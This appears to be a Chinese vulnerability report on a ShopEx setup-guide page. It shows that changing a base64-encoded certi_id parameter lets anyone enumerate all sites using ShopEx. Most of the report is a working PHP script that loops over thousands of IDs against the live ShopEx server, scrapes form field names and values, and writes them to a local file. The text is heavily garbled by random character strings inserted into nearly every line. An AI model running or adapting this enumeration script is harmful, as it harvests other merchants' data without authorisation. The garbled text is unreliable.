|
|
简要描述:
9 c: A# F. h* n [7 f" FShopEx某接口缺陷,可遍历所有网站 e& N x1 c1 S8 i
详细说明:" B1 P) ?; {- e3 U3 C; V5 O1 g' e8 \9 U# [
问题出现在shopex 网店使用向导页面 ) K' `3 B: R2 j3 q; o8 P; C
9 b% m% ?4 ~. `, {2 \+ N
6 e2 e; O. `$ b
# w. S( m# X& N" thttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=' }% I8 p1 z, J# G/ w7 b
* V5 d+ A; V2 D+ }* U% F" _
. N4 |( f8 U5 Q9 u8 q6 O9 F
3 r5 E) J* E( Q% m. o( rrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' I4 `' c: o H, J/ Y, t. A" D; c# u: |& h! u5 C; M
% U9 }' B) _( C
- N/ s, n7 s6 n$ Y [ S5 _" l
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
* L5 A( P. ~( y. ^9 e* W; d$ U6 m7 z' h
- t6 n/ C/ v6 N! @8 d1 M6 m9 }9 Z O3 M( k
<?php" }0 w8 C0 n* ]1 F# O
2 Q* A* ?4 {+ ] for ($i=1; $i < 10000; $i++) { //遍历) p( \6 T8 X" n' |) p9 D
% R" u# A8 S! T4 [2 S# } }5 o; a ShowshopExD($i);
& @1 H2 J$ i: z- l+ P$ ^4 W* |) F) C; L
} g+ f+ e/ @9 V2 d8 O5 o" `
& O. o8 K* Z) L B( q" ]% B1 |/ _ function ShowshopExD($cid) {& J/ J7 `5 C) o& l' ?: }
6 x; X& C* L0 V. M $url='http://guide.ecos.shopex.cn/step2.php';( K {& ^# O6 U: J1 B
/ x1 R0 v0 k8 Z+ V; r$ T8 { $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');& P0 s; ]- S" v: {9 w$ u
& \2 e0 Z3 x$ S, o4 ~8 X6 N# h+ D $url = $url.'?refer='.$refer;
1 f% ~& @' p5 H% C B1 Z k; x! f, T! W* Y" A7 ^
$ch = curl_init($url);
J% p( I7 O& z/ ]+ f" f) s8 [& J) n7 [2 G4 C
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;1 C& [! |' L0 ?* F
% Y8 ^$ E0 |" `& r" p/ _2 K6 ^
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
; m }! P& G) @( B
+ S% C8 T0 k1 L |7 W; y6 V7 p& u $result = curl_exec($ch);! P# f8 e5 c! V( k( D# r
5 D. s7 G8 i1 M $result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 ^! N4 W7 E7 Q, H9 m: f4 S+ j' K6 h Q* T7 u
if(strpos($result,$refer))
3 e& q6 |% \9 \6 B B% V6 M D! m( @# H. z7 S
{
) D/ G3 a, ?5 q0 Q, h1 f# L4 _) V9 D) q- H, w
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件( l2 e) n9 |' W$ s
0 {4 R3 D( L8 I/ D$ O# j, _ preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);( @8 E7 T+ ^" u9 [1 ]; ]1 X( r; }; a
( T: a/ }! h$ B- M: [: C. j: U foreach ($value[1] as $key) {, Q% f* ~ R- x8 t: C3 O3 N X! {1 S
6 N8 T' W. {! S5 P+ ?
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 Q+ S9 R4 Y _6 e" ~/ t2 q( L+ g. G8 o' L s0 ]
echo $res[1][0].':'.$res[3][0]."\r\n";
& F0 i7 H# i- ^4 y4 W! H8 [2 g, E/ _, R
$col =$res[1][0].':'.$res[3][0]."\r\n";
' K+ v. r j4 `6 B& _+ l0 {) N% \5 E. f
. V$ g$ c6 I6 I- \5 E' I fwrite($fp, $col, strlen($col));
& T% l4 z8 b9 B& a# @. r/ R9 w: H9 ` I0 w: O7 a7 I; V! U
}$ \/ Q5 h+ h. W& l, i
2 t: \8 N7 y4 R1 {7 h echo '--------------------------------'."\r\n";
( I8 M6 G- V/ y. e1 H5 C9 G( @( K) p) t7 c
fclose($fp);
) r' y& i& f8 D! Q6 w9 o% M/ h
0 }4 v, {. [3 o1 u }1 R: U1 m- P) ^$ Z1 Q n# l& d0 B
, N% W- F: u8 K/ q3 b flush();. Y! A% e! h/ T
& }* ?3 P2 e ^% K- ^8 t# h3 H( n curl_close($ch);
+ @3 r2 \$ e f- W# q' K8 R1 q8 T# R2 M& b/ V" O% a7 P
}
5 a: B$ Q, D, S, W9 A! o% q( U& x. A( F
?>1 i }9 o! _6 n) s. b
漏洞证明:
: i# h1 [9 ^1 W3 e$ F# Whttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' S- q! S' c/ h. D" x! G5 r: X* zrefer换成其他加密方式5 I, z' `/ Y! M% q. y! r, [7 J
|
|